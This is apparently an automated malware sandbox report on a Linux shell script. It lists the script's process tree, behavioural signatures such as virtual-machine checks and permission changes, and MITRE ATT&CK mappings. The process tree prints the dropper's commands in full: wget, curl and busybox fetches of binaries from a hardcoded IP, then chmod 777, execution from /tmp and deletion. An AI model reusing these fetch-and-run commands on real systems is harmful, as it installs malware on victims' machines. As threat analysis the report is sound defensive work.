fbca926a194f3a16d4f651f15e8348a9b3c95ba55cba7c8c59266451178da939

Analysis

max time kernel
47s
max time network
51s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
20/11/2024, 03:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
fbca926a194f3a16d4f651f15e8348a9b3c95ba55cba7c8c59266451178da939.sh
Size 10KB
Sample241120-ee2bsazelh
SHA256 fbca926a194f3a16d4f651f15e8348a9b3c95ba55cba7c8c59266451178da939
MD5 2790535985a336c1e26b994e26754331
SHA1 3c9c3751a3bfd775ab2063c28c7780ddc87e1d9b
SHA512 f2822208fdda3dc5040623c5de5b91212d6e9cde8b7aef05790ed0bf45574dbcb3e0fbe3b0589dc4babd8edf667cef18e76f3ef6d5c295b84391a99bee61b8b3
SSDEEP 96:yl7siIiUiPcEbwC/+LC2OqK0kSnSG+Jpm67Yb6H4kU83qpSG+Jpf/7/tvnsiIiUl:yl7sjPECU4nSG+Jpm6ASG+JpDWjPl
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 17 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
714	chmod
824	chmod
833	chmod
845	chmod
871	chmod
851	chmod
788	chmod
806	chmod
839	chmod
857	chmod
691	chmod
697	chmod
730	chmod
748	chmod
767	chmod
774	chmod
865	chmod

Executes dropped EXE 17 IoCs

Checks CPU configuration 1 TTPs 17 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 34 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 17 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev	curl
File opened for modification	/tmp/pG0qqetnhFR4512JpyD7pyxXV3WA0x3JKz	curl
File opened for modification	/tmp/KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto	curl
File opened for modification	/tmp/ol4qsFnxqEX3D1wp8MGKuhqpxU9bEas99d	curl
File opened for modification	/tmp/mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC	curl
File opened for modification	/tmp/YRTe6u2Dyfs7ThBSQh9oaLZ1ATRwJLg8S1	curl
File opened for modification	/tmp/IMXTFMf2sGSbsalplAD3CM2xDEyIzuulnL	curl
File opened for modification	/tmp/GfLiKIYH6Y7TcSa5uygF5EtPJPkBNSLk5J	curl
File opened for modification	/tmp/O7SiglMiy1JzDi5dhjdE0dEkFT2By8kgY0	curl
File opened for modification	/tmp/yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev	curl
File opened for modification	/tmp/1bZ9jnHrhv61tCZOW4vKbNotiwXsR8szGZ	curl
File opened for modification	/tmp/i04fYD7m6vDlAFPfuTp4is0wPgk9BLSCW0	curl
File opened for modification	/tmp/IYOi3zv90gQ4rU8KLZ1UHsuPceFrCigyuQ	curl
File opened for modification	/tmp/LKFtdQ9yQs6YWABNXrr8SGi2cjISyhRh2g	curl
File opened for modification	/tmp/KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto	curl
File opened for modification	/tmp/SnYqF3gM82ufhbjFjMRdYHCMHjaN5RicHD	curl
File opened for modification	/tmp/mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC	curl

/tmp/fbca926a194f3a16d4f651f15e8348a9b3c95ba55cba7c8c59266451178da939.sh
/tmp/fbca926a194f3a16d4f651f15e8348a9b3c95ba55cba7c8c59266451178da939.sh
1⤵
PID:657
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:662
- /usr/bin/wget
  wget http://216.126.231.240/bins/GfLiKIYH6Y7TcSa5uygF5EtPJPkBNSLk5J
  2⤵
  PID:667
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/GfLiKIYH6Y7TcSa5uygF5EtPJPkBNSLk5J
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:685
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/GfLiKIYH6Y7TcSa5uygF5EtPJPkBNSLk5J
  2⤵
  PID:689
- /bin/chmod
  chmod 777 GfLiKIYH6Y7TcSa5uygF5EtPJPkBNSLk5J
  2⤵
  - File and Directory Permissions Modification
  PID:691
- /tmp/GfLiKIYH6Y7TcSa5uygF5EtPJPkBNSLk5J
  ./GfLiKIYH6Y7TcSa5uygF5EtPJPkBNSLk5J
  2⤵
  - Executes dropped EXE
  PID:692
- /bin/rm
  rm GfLiKIYH6Y7TcSa5uygF5EtPJPkBNSLk5J
  2⤵
  PID:693
- /usr/bin/wget
  wget http://216.126.231.240/bins/ol4qsFnxqEX3D1wp8MGKuhqpxU9bEas99d
  2⤵
  PID:694
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ol4qsFnxqEX3D1wp8MGKuhqpxU9bEas99d
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:695
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ol4qsFnxqEX3D1wp8MGKuhqpxU9bEas99d
  2⤵
  PID:696
- /bin/chmod
  chmod 777 ol4qsFnxqEX3D1wp8MGKuhqpxU9bEas99d
  2⤵
  - File and Directory Permissions Modification
  PID:697
- /tmp/ol4qsFnxqEX3D1wp8MGKuhqpxU9bEas99d
  ./ol4qsFnxqEX3D1wp8MGKuhqpxU9bEas99d
  2⤵
  - Executes dropped EXE
  PID:698
- /bin/rm
  rm ol4qsFnxqEX3D1wp8MGKuhqpxU9bEas99d
  2⤵
  PID:700
- /usr/bin/wget
  wget http://216.126.231.240/bins/1bZ9jnHrhv61tCZOW4vKbNotiwXsR8szGZ
  2⤵
  PID:702
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1bZ9jnHrhv61tCZOW4vKbNotiwXsR8szGZ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:706
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1bZ9jnHrhv61tCZOW4vKbNotiwXsR8szGZ
  2⤵
  PID:710
- /bin/chmod
  chmod 777 1bZ9jnHrhv61tCZOW4vKbNotiwXsR8szGZ
  2⤵
  - File and Directory Permissions Modification
  PID:714
- /tmp/1bZ9jnHrhv61tCZOW4vKbNotiwXsR8szGZ
  ./1bZ9jnHrhv61tCZOW4vKbNotiwXsR8szGZ
  2⤵
  - Executes dropped EXE
  PID:715
- /bin/rm
  rm 1bZ9jnHrhv61tCZOW4vKbNotiwXsR8szGZ
  2⤵
  PID:716
- /usr/bin/wget
  wget http://216.126.231.240/bins/i04fYD7m6vDlAFPfuTp4is0wPgk9BLSCW0
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/i04fYD7m6vDlAFPfuTp4is0wPgk9BLSCW0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/i04fYD7m6vDlAFPfuTp4is0wPgk9BLSCW0
  2⤵
  PID:726
- /bin/chmod
  chmod 777 i04fYD7m6vDlAFPfuTp4is0wPgk9BLSCW0
  2⤵
  - File and Directory Permissions Modification
  PID:730
- /tmp/i04fYD7m6vDlAFPfuTp4is0wPgk9BLSCW0
  ./i04fYD7m6vDlAFPfuTp4is0wPgk9BLSCW0
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm i04fYD7m6vDlAFPfuTp4is0wPgk9BLSCW0
  2⤵
  PID:732
- /usr/bin/wget
  wget http://216.126.231.240/bins/IYOi3zv90gQ4rU8KLZ1UHsuPceFrCigyuQ
  2⤵
  PID:734
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IYOi3zv90gQ4rU8KLZ1UHsuPceFrCigyuQ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/IYOi3zv90gQ4rU8KLZ1UHsuPceFrCigyuQ
  2⤵
  PID:744
- /bin/chmod
  chmod 777 IYOi3zv90gQ4rU8KLZ1UHsuPceFrCigyuQ
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/IYOi3zv90gQ4rU8KLZ1UHsuPceFrCigyuQ
  ./IYOi3zv90gQ4rU8KLZ1UHsuPceFrCigyuQ
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm IYOi3zv90gQ4rU8KLZ1UHsuPceFrCigyuQ
  2⤵
  PID:751
- /usr/bin/wget
  wget http://216.126.231.240/bins/LKFtdQ9yQs6YWABNXrr8SGi2cjISyhRh2g
  2⤵
  PID:752
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/LKFtdQ9yQs6YWABNXrr8SGi2cjISyhRh2g
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/LKFtdQ9yQs6YWABNXrr8SGi2cjISyhRh2g
  2⤵
  PID:764
- /bin/chmod
  chmod 777 LKFtdQ9yQs6YWABNXrr8SGi2cjISyhRh2g
  2⤵
  - File and Directory Permissions Modification
  PID:767
- /tmp/LKFtdQ9yQs6YWABNXrr8SGi2cjISyhRh2g
  ./LKFtdQ9yQs6YWABNXrr8SGi2cjISyhRh2g
  2⤵
  - Executes dropped EXE
  PID:768
- /bin/rm
  rm LKFtdQ9yQs6YWABNXrr8SGi2cjISyhRh2g
  2⤵
  PID:769
- /usr/bin/wget
  wget http://216.126.231.240/bins/KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto
  2⤵
  PID:770
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto
  2⤵
  PID:773
- /bin/chmod
  chmod 777 KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto
  ./KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto
  2⤵
  - Executes dropped EXE
  PID:775
- /bin/rm
  rm KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto
  2⤵
  PID:776
- /usr/bin/wget
  wget http://216.126.231.240/bins/mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC
  2⤵
  PID:777
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC
  2⤵
  PID:784
- /bin/chmod
  chmod 777 mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC
  2⤵
  - File and Directory Permissions Modification
  PID:788
- /tmp/mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC
  ./mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC
  2⤵
  - Executes dropped EXE
  PID:789
- /bin/rm
  rm mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC
  2⤵
  PID:790
- /usr/bin/wget
  wget http://216.126.231.240/bins/yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev
  2⤵
  PID:792
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:796
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev
  2⤵
  PID:801
- /bin/chmod
  chmod 777 yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev
  ./yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev
  2⤵
  PID:809
- /usr/bin/wget
  wget http://216.126.231.240/bins/SnYqF3gM82ufhbjFjMRdYHCMHjaN5RicHD
  2⤵
  PID:810
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/SnYqF3gM82ufhbjFjMRdYHCMHjaN5RicHD
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:814
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/SnYqF3gM82ufhbjFjMRdYHCMHjaN5RicHD
  2⤵
  PID:820
- /bin/chmod
  chmod 777 SnYqF3gM82ufhbjFjMRdYHCMHjaN5RicHD
  2⤵
  - File and Directory Permissions Modification
  PID:824
- /tmp/SnYqF3gM82ufhbjFjMRdYHCMHjaN5RicHD
  ./SnYqF3gM82ufhbjFjMRdYHCMHjaN5RicHD
  2⤵
  - Executes dropped EXE
  PID:825
- /bin/rm
  rm SnYqF3gM82ufhbjFjMRdYHCMHjaN5RicHD
  2⤵
  PID:826
- /usr/bin/wget
  wget http://216.126.231.240/bins/YRTe6u2Dyfs7ThBSQh9oaLZ1ATRwJLg8S1
  2⤵
  PID:828
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/YRTe6u2Dyfs7ThBSQh9oaLZ1ATRwJLg8S1
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/YRTe6u2Dyfs7ThBSQh9oaLZ1ATRwJLg8S1
  2⤵
  PID:832
- /bin/chmod
  chmod 777 YRTe6u2Dyfs7ThBSQh9oaLZ1ATRwJLg8S1
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/YRTe6u2Dyfs7ThBSQh9oaLZ1ATRwJLg8S1
  ./YRTe6u2Dyfs7ThBSQh9oaLZ1ATRwJLg8S1
  2⤵
  - Executes dropped EXE
  PID:834
- /bin/rm
  rm YRTe6u2Dyfs7ThBSQh9oaLZ1ATRwJLg8S1
  2⤵
  PID:835
- /usr/bin/wget
  wget http://216.126.231.240/bins/IMXTFMf2sGSbsalplAD3CM2xDEyIzuulnL
  2⤵
  PID:836
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/IMXTFMf2sGSbsalplAD3CM2xDEyIzuulnL
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:837
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/IMXTFMf2sGSbsalplAD3CM2xDEyIzuulnL
  2⤵
  PID:838
- /bin/chmod
  chmod 777 IMXTFMf2sGSbsalplAD3CM2xDEyIzuulnL
  2⤵
  - File and Directory Permissions Modification
  PID:839
- /tmp/IMXTFMf2sGSbsalplAD3CM2xDEyIzuulnL
  ./IMXTFMf2sGSbsalplAD3CM2xDEyIzuulnL
  2⤵
  - Executes dropped EXE
  PID:840
- /bin/rm
  rm IMXTFMf2sGSbsalplAD3CM2xDEyIzuulnL
  2⤵
  PID:841
- /usr/bin/wget
  wget http://216.126.231.240/bins/pG0qqetnhFR4512JpyD7pyxXV3WA0x3JKz
  2⤵
  PID:842
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pG0qqetnhFR4512JpyD7pyxXV3WA0x3JKz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:843
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pG0qqetnhFR4512JpyD7pyxXV3WA0x3JKz
  2⤵
  PID:844
- /bin/chmod
  chmod 777 pG0qqetnhFR4512JpyD7pyxXV3WA0x3JKz
  2⤵
  - File and Directory Permissions Modification
  PID:845
- /tmp/pG0qqetnhFR4512JpyD7pyxXV3WA0x3JKz
  ./pG0qqetnhFR4512JpyD7pyxXV3WA0x3JKz
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm pG0qqetnhFR4512JpyD7pyxXV3WA0x3JKz
  2⤵
  PID:847
- /usr/bin/wget
  wget http://216.126.231.240/bins/O7SiglMiy1JzDi5dhjdE0dEkFT2By8kgY0
  2⤵
  PID:848
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/O7SiglMiy1JzDi5dhjdE0dEkFT2By8kgY0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:849
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/O7SiglMiy1JzDi5dhjdE0dEkFT2By8kgY0
  2⤵
  PID:850
- /bin/chmod
  chmod 777 O7SiglMiy1JzDi5dhjdE0dEkFT2By8kgY0
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/O7SiglMiy1JzDi5dhjdE0dEkFT2By8kgY0
  ./O7SiglMiy1JzDi5dhjdE0dEkFT2By8kgY0
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm O7SiglMiy1JzDi5dhjdE0dEkFT2By8kgY0
  2⤵
  PID:853
- /usr/bin/wget
  wget http://216.126.231.240/bins/KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto
  2⤵
  PID:856
- /bin/chmod
  chmod 777 KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto
  ./KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto
  2⤵
  - Executes dropped EXE
  PID:858
- /bin/rm
  rm KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto
  2⤵
  PID:859
- /usr/bin/wget
  wget http://216.126.231.240/bins/mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC
  2⤵
  PID:860
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:862
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC
  2⤵
  PID:864
- /bin/chmod
  chmod 777 mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC
  2⤵
  - File and Directory Permissions Modification
  PID:865
- /tmp/mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC
  ./mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC
  2⤵
  - Executes dropped EXE
  PID:866
- /bin/rm
  rm mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC
  2⤵
  PID:867
- /usr/bin/wget
  wget http://216.126.231.240/bins/yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev
  2⤵
  PID:868
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:869
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev
  2⤵
  PID:870
- /bin/chmod
  chmod 777 yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev
  2⤵
  - File and Directory Permissions Modification
  PID:871
- /tmp/yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev
  ./yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev
  2⤵
  - Executes dropped EXE
  PID:872
- /bin/rm
  rm yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev
  2⤵
  PID:873
- /usr/bin/wget
  wget http://216.126.231.240/bins/SnYqF3gM82ufhbjFjMRdYHCMHjaN5RicHD
  2⤵
  PID:874

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

GfLiKIYH6Y7TcSa5uygF5EtPJPkBNSLk5J

Path /tmp/GfLiKIYH6Y7TcSa5uygF5EtPJPkBNSLk5J
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/GfLiKIYH6Y7TcSa5uygF5EtPJPkBNSLk5J	692	GfLiKIYH6Y7TcSa5uygF5EtPJPkBNSLk5J
/tmp/ol4qsFnxqEX3D1wp8MGKuhqpxU9bEas99d	698	ol4qsFnxqEX3D1wp8MGKuhqpxU9bEas99d
/tmp/1bZ9jnHrhv61tCZOW4vKbNotiwXsR8szGZ	715	1bZ9jnHrhv61tCZOW4vKbNotiwXsR8szGZ
/tmp/i04fYD7m6vDlAFPfuTp4is0wPgk9BLSCW0	731	i04fYD7m6vDlAFPfuTp4is0wPgk9BLSCW0
/tmp/IYOi3zv90gQ4rU8KLZ1UHsuPceFrCigyuQ	750	IYOi3zv90gQ4rU8KLZ1UHsuPceFrCigyuQ
/tmp/LKFtdQ9yQs6YWABNXrr8SGi2cjISyhRh2g	768	LKFtdQ9yQs6YWABNXrr8SGi2cjISyhRh2g
/tmp/KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto	775	KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto
/tmp/mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC	789	mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC
/tmp/yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev	807	yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev
/tmp/SnYqF3gM82ufhbjFjMRdYHCMHjaN5RicHD	825	SnYqF3gM82ufhbjFjMRdYHCMHjaN5RicHD
/tmp/YRTe6u2Dyfs7ThBSQh9oaLZ1ATRwJLg8S1	834	YRTe6u2Dyfs7ThBSQh9oaLZ1ATRwJLg8S1
/tmp/IMXTFMf2sGSbsalplAD3CM2xDEyIzuulnL	840	IMXTFMf2sGSbsalplAD3CM2xDEyIzuulnL
/tmp/pG0qqetnhFR4512JpyD7pyxXV3WA0x3JKz	846	pG0qqetnhFR4512JpyD7pyxXV3WA0x3JKz
/tmp/O7SiglMiy1JzDi5dhjdE0dEkFT2By8kgY0	852	O7SiglMiy1JzDi5dhjdE0dEkFT2By8kgY0
/tmp/KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto	858	KKZNRTjK2Os3nj6EIvLjb7QO2m6tKFpNto
/tmp/mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC	866	mkxzt2enVBSE1nQv90vQcoDPIj2NJbi5GC
/tmp/yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev	872	yW1XYiXvkvFLpczBUtpSwxwEttm3KdQSev

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads